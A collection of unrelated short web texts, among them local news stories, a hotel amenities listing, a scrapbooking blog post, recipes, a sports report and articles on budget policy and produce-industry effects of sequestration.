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Don't know if anyone else has heard, but Mark Carter, Bob Carter's (aka Sammy Terry) son got the torch passed to him, and will be the new generation of Sammy Terry on WTTV4 ..
ST was a staple in my childhood that I grew up watching since I was a little kid..
I vaguely remember when he came to Mounds Mall when I was real little.
I have fond memories of EVERY friday night , because it was ritual to crawl up in bed with the blankets pulled up nice and tight, bag of chips and soda , lights out , and Sammy Terry on the tube.
I'm so glad I can relive my childhood watching old , sometimes obscure horror movies every friday night with Sammy Terry hosting them .
Mark, his son , looks so much like Bob , it is uncanny . and he even sounds like him ..
All I know is , I am pumped about this news...
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Aloft New York Brooklyn offers a coffee shop/café and a snack bar/deli. A bar/lounge is on site at the hotel where guests can unwind with a drink. Business amenities at this 3.0-star property consist of a 24-hour business center, audio-visual equipment, and small meeting rooms.
High-speed wired and wireless Internet access is complimentary. Event facilities measuring 600 square feet include a conference center, conference/meeting rooms. This Beaux Arts hotel also offers a fitness facility, rooftop terrace, and valet parking. The property may provide extended off-site parking privileges to guests after check-out (surcharge). RV and truck parking is also available off-site (surcharge).
Aloft New York Brooklyn is a smoke-free property.
- 24-hour front desk
- Total number of rooms - 176
- Number of floors - 24
- ATM/banking
- Bar/lounge
- Coffee/tea in common areas
- Coffee shop or café
- Free newspapers in lobby
- Concierge services
- Dry cleaning/laundry service
- Elevator/lift
- Express check-in
- Express check-out
- Fireplace in lobby
- Fitness facilities
- Gift shops or newsstand
- Billiards or pool table
- Tours/ticket assistance
- Free WiFi
- Free wired Internet
- One meeting room
- Luggage storage
- Laundry facilities
- Multilingual staff
- Porter/bellhop
- Safe-deposit box at front desk
- Year Built 2011
- 24-hour business center
- Conference space size (meters) - 56
- Conference space size (feet) - 600
- Self parking (surcharge)
- Long-term parking (surcharge)
- RV, bus, truck parking (surcharge)
- Conference center
- Snack bar/deli
- Smoke-free property
- Number of buildings/towers - 1
- Breakfast available (surcharge)
- Television in common areas
- Use of nearby fitness center (discount)
- Wedding services
- Valet parking (surcharge)
Family Friendly Amenities
- Family Hotel
- Free Wi-Fi
- Snack bar/deli
- Laundry facilities
- Refrigerator
- Cribs/infant beds (complimentary)
Available in all rooms: Free WiFi , Free wired Internet
Available in some public areas: Free WiFi , Free wired Internet
Long-term parking (surcharge), Self parking (surcharge), Valet parking (surcharge), RV, bus, truck parking (surcharge)
Room Amenities
- Premium TV channels
- Premium bedding
- Free newspaper
- Air conditioning
- In-room climate control (air conditioning)
- Phone
- Free local calls
- Refrigerator
- Coffee/tea maker
- Free bottled water
- Daily housekeeping
- Designer toiletries
- Private bathroom
- Free toiletries
- Hair dryer
- Shower only
- Rainfall showerhead
- Iron/ironing board
- Desk
- Blackout drapes/curtains
- Digital TV service
- Free WiFi
- Free wired Internet
- In-room safe (laptop compatible)
- Room service (limited hours)
- Free cribs/infant beds
- Connecting/adjoining rooms available
- Egyptian-cotton sheets
Where to Eat
Onsite restaurant - This café serves breakfast, lunch and dinner, and has a bar.
Nearby Things to Do
The recreational activities listed below are available either on site or nearby; fees may apply.
- Golfing nearby
- Bicycle rentals nearby
- Hiking/biking trails nearby
- Golf lessons available nearby
If you have requests for specific accessibility needs, please note them at check-out when you book your room.
- Accessible bathroom
- In-room accessibility
- Roll-in shower
Hotel Policies
Check-in time starts at 3 PM
Minimum check-in age is 18
Check-out time is noon
Payment types
Children and extra beds
- Children are welcome.
- Kids stay free! Up to 2 children 12 years old and younger stay free when using existing bedding.
- Rollaway/extra beds are not available.
- Free cribs (infant beds)!
- Pets allowed for an extra charge of USD 100 per pet, per stay, plus a deposit of USD 100.00 per stay
- Dogs and cats only
- 1 per room (up to 20 lb)
- Specific rooms only
- Pet-friendly rooms can be requested by contacting the property at the number on the booking confirmation
You need to know
Extra-person charges may apply and vary depending on property policy.
- The name on the credit card used at check-in to pay for incidentals must be the primary name on the guestroom reservation.
- Deposit: USD 100 per stay
Optional extras
- Fee for continental breakfast: USD 10 for adults and USD 10 for children (approximately)
- Self parking fee: USD 35.00 per night
- Valet parking fee: USD 50 per night
- Pet deposit: USD 100.00 per stay
- Pet fee: USD 100 per pet, per stay
Hotel Name
- Aloft Brooklyn New York
- Aloft Brooklyn New York Hotel
- Aloft Hotel Brooklyn New York
- Aloft New York Brooklyn
- Aloft New York Brooklyn Hotel
- Hotel Aloft Brooklyn New York
- Aloft New York Brooklyn Hotel Brooklyn
We should mention
Up to 2 children 12 years old and younger stay free when occupying the parent or guardian's room, using existing bedding. The property has connecting/adjoining rooms, which are subject to availability and can be requested by contacting the property using the number on the booking confirmation. Construction is underway at a neighboring building and there may be noise disturbance from the construction work. This property allows pets in specific rooms only (surcharges apply and can be found in the Fees section). Guests can request one of these rooms by contacting the property directly, using the contact information on the booking confirmation.


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SIX people in Worcestershire have died due to a shortage of donor organs in the last year.
Currently, 114 people in the county are waiting for organ transplants and health authority NHS Blood and Transplant are encouraging people to sign up to be organ donors during National Transplant Week, which ends on Sunday.
The campaign aims to increase awareness that the decision to donate a person's organs falls to the family if you die in circumstances where you can donate.
NHS Blood and Transplant is encouraging people to join the organ donor register and to have a conversation with their family.
Sally Johnson, director of organ donation and transplantation for the authority, said: "Last year 27 people living in Worcestershire benefited from a life-saving organ transplant thanks to families making the decision to donate when a loved one died, a decision we know makes them incredibly proud.
"Families are much less likely to allow organ donation if they don't know it's what their loved one wanted.
"To help more people we need everyone to tell those closest to them that they want to donate their organs."
For more information and to register your organ donation decision visit www.transplantweek.co.uk.


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With his campaign for re-election looming, Gov. John Kasich has been touting a budget surplus, with as much as $1 billion slated for the state's rainy day fund. There's no question a windfall of that magnitude would be great news, especially for Kasich, because there was virtually nothing in the emergency fund when he took office two years ago.
Whether the surplus should be stashed away entirely in the rainy day fund is matter of debate, however.
Democrats are calling for the money to be used for local governments and schools, which have taken a serious hit in state funding in the wake of the fiscal meltdown in 2008. They say any "windfall" would be better used that way rather than putting it aside for the proverbial rainy day.
Another point of contention is Kasich's plan to boost taxes on oil and gas production, targeting the booming industry that has arisen in eastern Ohio because of energy exploration, and using the additional revenue to support a cut in the state's income tax.
State Rep. Bob Hagan, an outspoken Democrat from Youngstown, questions Kasich's budget numbers -- he used a term we won't print to demonstrate his skepticism -- and adds that the governor should "substantially" increase the severance tax paid by the oil and gas industry, "quit playing games with it, and make sure that it goes to local governments and education."
If there is, in fact, a substantial budget surplus, the solution might be a compromise between what Hagan is proposing and what Kasich and the Republican leadership want: Squirrel away part of it in the rainy day fund and use the rest to help shore up schools and local government operations.
While cutting taxes is a politically popular move, using the windfall to help support schools and local governments might be a better course of action if that would lessen the need for those institutions to turn to the voters for local support. Doing the same with additional revenue from an increased tax on oil and gas production also makes sense. The resulting funds could help eastern Ohio communities dealing with increased drilling activities, as Hagan points out.
Kasich's plans for the surplus are expected to be part of a larger tax reform package to be unveiled soon. How the money ultimately ends up being used could be a test of leadership in Columbus.
Sometimes what's politically popular isn't the best course of action.


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Opal -- Layout 10
I know I say it every month when our guest sketcher Wednesday rolls around, but it's such a treat for me to be able to bring to you the talents of one of our amazing ScrapbookSteals friends. This month is of no exception and I'm delighted to bring to you this month's guest sketcher, Heather Conklin.
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Hello my scrappy friends, it's Heather here. I am so excited to be the guest sketcher for Opal #10! When Kristy emailed me "So... my favorite art teacher on the planet... what do you feel about being our guest sketcher for December? :)" my heart went all aflutter. When I heard what I was going to create with, I calmed down immediately.
I had the pleasure of playing with one of the lines that I had wished for the first time I had seen it, American Crafts Garden Cafe. I love the colors, the patterns, the embossed loveliness on lots of the papers, the fun Thickers (2 sets!), sweet little brads, cute tags, ribbon and the Delights (paper flowers).
As I started to sit down and sketch out my plan, I really couldn't decide which of the papers to use, so I tried to use them all! Rather than limiting myself to having to choose one paper per side of my 2-pager, I used five pieces of paper and created a chevron background on basic kraft paper. This allowed me to connect the two pages together. Then, it was just a simple execution of putting down some great photographs, adding a few tags and Delights, penning in a journaling section, and adding a fun title.
I really loved playing with this collection, and even made a a card, and a Christmas layout using Opal #9! This kit is so versatile.
Thank you again Kristy and Lisa for this amazing opportunity. And my lovely ScrapbookSteals friends, I really hope that you all have fun with this sketch. I cannot wait to see what each of you create!
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Heather, what a treat it's been having you share your amazing talents with us. Thank you again so much for being our guest and for wrapping up our Opal series! :)
Now do we have a treat for you! First off let's announce the weekly winner of our Mid Week Mojo. Kristy Mackeen! You are our lucky random winner. If you will please send an email to firstname.lastname@example.com with your address we will get a prize sent out to you right away.
Now it's time to show you what we have secured for our Opal series prize! (This is sooooooo exciting!) Here's what you have the chance of winning if you have completed a 10 of the Opal club sketches and have them posted and linked by 11:59 PM MST, on Monday, December 12.
Our lucky winner will receive an 8 post Ribbon Carousel (twine not included).
as well as a 10 pack of 2" solid maple hour glass spools.
Get this girls, this is a retail value of NINETY FOUR DOLLARS! How's that for amazing? :)
Here are the details in order to be eligible to win this incredible prize.
- Complete all 10 Opal layouts. Don't forget that Opal #10 must be completed and posted by 11:59 PM MST on Monday, December 12th.
- Make sure all 10 Opal layouts are posted somewhere online.
- Provide a link to your creations on the Officially Opal blog post. This can be a link to a gallery hosting all of your creations, or individual links. Just make sure that everything is listed in one post.
If you are new to our Mid Week Mojo series, you can find all of the fantastic details here. Also, as we continue week to week, bookmark this page for your quick reference to Mid Week Mojo links.
Good luck Mojo makers! I'll see you next week as we kick off our Garnet series. Enjoy!


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One of the great things Friends of Zenger Farms does in our neighborhood is to put on some wonderful weekly cooking demonstrations to teach people in the community how to prepare meals from fresh ingredients. All summer long, rain or shine at the Lents International Farmers Market, they work to show off how easy healthy eating can be once you have a few techniques and ingredients under your belt.
We were especially inspired by a recent gluten free crêpe and flatbread demo by Durga Fuller. Durga is an amazing home cook who blogs about nutrient dense, allergen free diets at The Cook Awakening. We especially liked her recent post about the challenge of traveling with food sensitivities. She was kind enough to share two of her amazing recipes and some photos from her recent rainy day demo that we think you will really enjoy trying at home.
Coconut Flour Crêpes
• 4 eggs
• 1/4 cup organic coconut flour
• 1/4 cup organic coconut yogurt or milk
• 1 tsp salt
• Water as needed to achieve the desired texture, which should be like a thick whipping cream
• Ghee as needed to grease pan
• Optional additions: cinnamon, nutmeg, vanilla, stevia – use less salt if you go in the sweet direction.
Mix all the ingredients together and whisk until smooth. Let sit for a few minutes.
Place a cast iron or ceramic coated skillet over a medium heat until hot enough for water to pop when a few drops are splashed on it.
Grease liberally with ghee. Pour ¼ to ½ cup of batter into the center of the pan and swirl the pan to spread it.
Let set completely, and turn when golden brown.
Repeat until batter is finished.
Serve as a wrap for breakfast burritos, aram sandwiches, or whatever strikes your fancy. Think 'crepe'!
Copyright 2010 The Cook Awakening
Gluten Free Sourdough Flatbread
• 3 cups sourdough sponge
• 1 tsp Celtic Sea or Himalayan pink salt
• about 1 cup water to thin, depending on thickness desired
• ghee or coconut oil for cooking
Mix all ingredients together and cook it by the ladle full on a fairly hot griddle with plenty of ghee or coconut oil.
Spread the batter a bit with the bottom of the ladle after you pour it.
Should be lacy and browned, needs plenty of fat on the griddle.
Comes out like a thin pancake, or a thick dosa.
Great with soup, with Indian food, and makes a good rollup sandwich, too.
Depending on the size of your griddle, you should be able to make them pretty large. I've been using about 1/2 cup of batter per flatbread piece.
Makes approximately 5 – 6 pieces, depending on thickness and size of flatbread.
Copyright 2009 The Cook Awakening


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Online advertising is particularly effective when combined with TV. Infopresse reports of a recent study by IAB Canada which is trying to understand the value added role that Internet advertising plays in the overall media mix. Key findings were as follows: For the campaign when TV and Web were used together vs. TV only there was a - - 48% uplift in tagline association - 16% uplift in key brand relevance metric - 35% uplift in event sponsorship association The Molson case study can be downloaded in PDF format.
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Wilk's scoreless start advances case for rotation spot
CLEARWATER, Fla. -- The Pirates have reached the point of running two Spring Training camps for pitchers: In one, those assured of jobs get ready for the season; in the other, those on the bubble get to fight for jobs.
The first takes place in Pirate City, where rotation locks started Minor League games last week and where Jason Grilli worked two innings on Sunday, following similar turns by Mark Melancon and Justin Wilson.
The second occurs in the Grapefruit League, where manager Clint Hurdle and pitching coach Ray Searage size up hopefuls against stiffer competition.
"We try to give guys trying to make the club a more competitive lineup to pitch against," Hurdle explained.
Adam Wilk stepped into that bubble Sunday without having it burst, starting against the Phillies and blanking them for three innings on two hits, setting up the Bucs' 5-0 whitewash.
"Just working on keeping the ball down, getting good movement on the ball, staying ahead," Wilk said. "I'm not a guy that blows it in the mid-90s, so I've got to keep the ball down. I have my pitches working, and it's going well right now."
Wilk has pitched 10 innings and allowed one run and seven hits with one walk and six strikeouts.
"He was very efficient again today," Hurdle said. "He's shown command of the fastball, used his cutter extremely well, and it was a good go-to pitch versus left-handed hitters. And he threw some good changeups and curveballs to right-handers. He's kept the ball down."
Wilk is also keeping his nose down, to the grindstone, as it were. He won't concern himself with trying to figure out where he stands in the pitching competition.
"Whatever happens will be nothing new to me," said the 26-year-old onetime Detroit prospect. "I'll just go out and pitch and prepare myself, and let the manager or whoever has that decision, make it."
Tom Singer is a reporter for MLB.com and writes an MLBlog Change for a Nickel. He can also be found on Twitter @Tom_Singer. This story was not subject to the approval of Major League Baseball or its clubs.


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JACKSONVILLE, Fla. - The Regency Square Mall was sold earlier this month to a New York-based investment company, with many in the area hoping the new owners will be able to turn around the struggling shopping center.
Nearly two years ago, many argued that the new Best Bet Jacksonville poker room would have a negative impact on the area, but it has thrived.
When planning and construction of the poker room were ongoing, many people spoke out against the facility, arguing that it would bring in the wrong crowd and wouldn't fit in the area. Two years later, it is having a big impact in the Regency community.
"We are actually very bullish in the Regency area," Best Bet spokesman Michael Munz said. "We think that when we came in, we helped start to see some revitalization occur. There have been some other positives that have happened in the area, some other renovations in the area and other stores have opened."
With stores closing around it, business at Best Bet hasn't slowed since it opened. Across the street, the mall hasn't been so successful. Many, including Best Bet, hope its sale will boost the struggling shopping center, because they say when the mall thrives, the entire area does.
"We are actually really happy with the sale of the mall," Munz said. "I think that will bring an infusion of new ideas and increase capital in the area. I think that from a long-term standpoint, we are very positive of this area."
The things that were built around the mall were built because of the mall. With the mall suffering, they do, too.
Munz said even though the mall sale doesn't directly affect Best Bet, the long-term benefit of a successful mall is a big one.
"It's obvious that if the mall does have a resurgence, that it helps everybody," Munz said. "I think the mall's revitalization could have a greater impact on the community, so that is what we are looking forward to."
One of the concerns many had when Best Bet opened was that it would bring more crime to an area that didn't need it. But Munz said the poker room has done a lot of work to make sure that doesn't happen.
"We invested a lot here infrastructure-wise," he said. "You can see the changes externally that we have made in the parking lot. Inside, people have responded really well to that."
Even though the new mall owners haven't announced their plans for renovations or redevelopment of the mall, the folks at Best Bet have shown that businesses can thrive in the area, giving many living in the area hope that the mall can do the same.
Copyright 2014 by News4Jax.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


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MORE than 700 people have lodged new objections to plans for a massive waste recycling plant in Brierley Hill.
Action group SNOW* (Say No tO Waste-site) says 707 residents have aired concerns over plans by Clean Power (UK) Ltd to build a state-of-the-art indoor energy conversion centre on old railway sidings off Moor Street.
The company is seeking approval from the Environment Agency to operate the proposed £40m plant, ahead of an anticipated second bid to Dudley Council for planning permission for the high-tech centre following an initial refusal last summer.
Members of SNOW, however, remain determined to see off the plans for good.
Spokesman Tim Lee said: "Opposition to the proposed waste site is continuing to grow with the increasing realisation of the negative impact it would have on local families, schools and the Brierley Hill area as a whole."
He said "risks to health and well-being arising from offensive odours" and the site's proximity to residents' homes and nearby Brockmoor Primary School were among the reasons for the concerns highlighted by objectors during a consultation by the Environment Agency which closed on July 20.
Mr Lee added: "Anaerobic digesters have a high recorded rate of catastrophic failure.
"With the planned facility in the middle of such a densely populated area, the risk to local families and children would be far too high in the event of such a failure."
The Environment Agency said it would be seeking additional information from Clean Power before a decision on whether to grant or refuse an environmental permit could be made.
A spokesman said: "We are still assessing the application made to us and preparing the questions that we need to ask.
"Once this is complete and sent to the applicant it will be placed on the public register. Once the applicant's response is received, the information provided will also be placed on the public register and we will continue our assessment taking this further information into account."
Clean Power, which is working to develop similar facilities at other sites across the UK, has dismissed concerns the Brierley Hill centre would release unpleasant odours into the atmosphere.
The company says the air-tight design of the proposed building would mean smells could not escape - and the proposed facility would create up to 30 new jobs and produce renewable energy for up to around 10,000 homes.


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A man in his 50s has been shot in the leg during an argument in Melbourne's west.
Police believe two men, who are known to each other, were involved in an ongoing dispute throughout the day before one shot the other with a handgun just before 6pm on Main Road East in St Albans.
Police arrested a 60-year-old man from St Albans at the scene.
A Deer Park man, believed to be in his 50s, was taken to hospital for treatment.
The Armed Crime Taskforce is investigating and any witnesses are urged to call Crime Stoppers on 1800 333 000.


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Lancome's 2007 Summer Survival Kit
Lancome's 2007 Summer Survival Kit
This is the season to glow! The latest and greatest product set from Lancome is their Summer Survival Essentials Gift Set, $59, which is set to be released at the beginning of June. This amazing, bronze-centric four piece set comes packaged in an exclusive square gold box with interior leopard print detail.
Inside is a limited edition gold bronze brush, a Définicils Waterproof Black Mascara, a soft pinky brown Juicy Tubes Gloss in Simmer and a Bronzing Powder in Bronze Lumière.
Lancome has created this fab kit for the ladies who want easy and instant results. I've owned this simmer gloss for years and it's amazing alone or over a pink lipstick. I can't wait to try everything else. I especially love the wavy detail on the bronzer - it reminds me of freshly raked sand!


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Joy GaerathsGraduated 1998 & 2005DES/CPS, Chandler, AZ
Joy is a two-time alumna of NAU receiving her BS in sociology and a minor in social work in 1998. Following that, Joy took advantage of NAU's Extended Campuses program and earned her master's degree in counseling in 2005. As an active member of the NAU Volunteer Alumni Network (VAN) since its inception in 2001, Joy has contributed over 225 hours of service towards recruiting new NAU students, attending college fairs on behalf of NAU, awarding incoming freshman scholarships to attend NAU, and assisting with various Office of Alumni Relations events. Joy also served on the NAU Alumni Association Board of Directors for six years. During her tenure on the board, Joy was elected to be the Secretary/Parliamentarian, and was the chair of the Volunteer Outreach Committee for several years. Joy continues to represent the NAU Alumni Association at the Extended Campuses Graduation Reception every spring. As a graduate herself of the Extended Campuses program, Joy instills her passion for NAU to the new graduates and encourages them to stay connected to NAU in any capacity they can.
"I love telling people about my experiences at NAU whether it be talking to prospective students about my years on the Mountain Campus through our Volunteer Alumni Network program or talking with their parents about how they can get their degrees too through our Extended Campuses," Joy explains. Letting people know how great NAU is in general is one of my favorite things to do and anyone who knows me can attest to the fact that I can work NAU into just about every conversation. You will always catch me with something NAU in hand from a water bottle, coffee cup, running hat in various marathons across the country, or my Jack Mobile with a personalized Louie license plate, I pretty much scream NAU. Many people have joked and said that if you cut me open, my blood wouldn't be normal, it would be blue and gold. I consider that normal in my eyes and a great compliment."
In addition to Joy's continued involvement with the VAN program, she is a huge Lumberjacks Athletics fan and supports the football and basketball teams as a member of the Lumberjack Athletic Association. She attends as many games, practices, and tailgates as her busy schedule will allow. Joy also donates to several other NAU funds as often as she can. Joy's volunteer service extends beyond her dedication to her alma mater and into her community. Joy has put in countless hours with the Leukemia & Lymphoma Society (LLS) as a member of Team In Training. Joy is a tireless fundraiser for the cause and has baked cakes, sold Chico bags, and trained non-stop to raise awareness and money for LLS.


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Mandated federal budget cuts that kicked in March 1 appeared to have no immediate effect on the fresh produce industry, but traders anticipate cutbacks in government services and delays at border crossings if the cuts remain in place throughout the year.
Called sequestration, the cuts were put in place during the 2011 debt ceiling negotiations as part of the Budget Control Act. According to the law, if Congress and the president couldn't agree on a plan to reduce the deficit by $4 trillion, close to $1 trillion in automatic cuts would begin in 2013.
The White House released a fact sheet about the sequester cuts and a longer budget document that details specific sequestration cuts, which the Office of Management and Budget said will require spending reductions of 9% for nondefense programs and 13% for defense programs for fiscal 2013.
According to the administration's estimates:
- Food inspections could drop by 2,100;
- Customs and Border Protection will have have to reduce work hours by 5,000,
- More than 2,750 CBP officers will be affected.
The White House said that those staff reductions could increase wait times at airports and ports of entry. Wait times for seaport container examinations could increase from two to five days, according to the White House.
A U.S. Department of Agriculture spokesman, speaking on background, said March 7 that no furloughs are expected for USDA Agricultural Marketing Service or Animal Plant Health Inspection Service staff working on the border. However, the spokesman said furloughs are expected for border officials of the U.S. Customs and Border Patrol.
As of March 7, however, industry leaders reported no unusual delays through the first week of March. There was a growing concern about potential delays in inspections and border crossings if mandated cuts are not stopped.
"We've heard things that could happen, but we have not seen anything actually happen yet," said John Pandol, special projects manager for Pandol Bros. Inc., Delano, Calif.
For example, he said there are warnings inbound cargo could be delayed.
"We are all kind of waiting to see what they consider non-essential (staff)," Pandol said.
Compared with manufactured goods, Pandol said fresh produce may be protected because of its perishable nature. Export shipments have also been unaffected so far, Pandol said.
Vegetable shipments from Mexico have not been held up, one distributor said.
"There have been rumors, but so far there are no delays," said Alberto Maldonado, general manager of Apache Produce, Nogales, Ariz.. "Everybody is forecasting that, but the volume is so light it is hard to evaluate what is going to happen."
While there are no reports of delays in border crossings for Canadian exports to the U.S. now, Fred Webber, chief executive officer and president of the Ottawa-based Fruit and Vegetable Dispute Resolution Corp., said Canadian exporters were wary of U.S. cutbacks in staffing at border crossings.
"This is not the heaviest shipping time right now, not like it will be in the summertime," he said. "The other message we need to get out to people is to check, double-check and triple-check your clearance documents, because if you get held back for a document issue you could be at the end of a very long line."
Tom O'Brien, Washington, D.C.-based representative for the Newark, Del.-based Produce Marketing Association, said he believes that user-fee funded services like PACA and fruit and vegetable inspections won't be affected by the sequester cuts.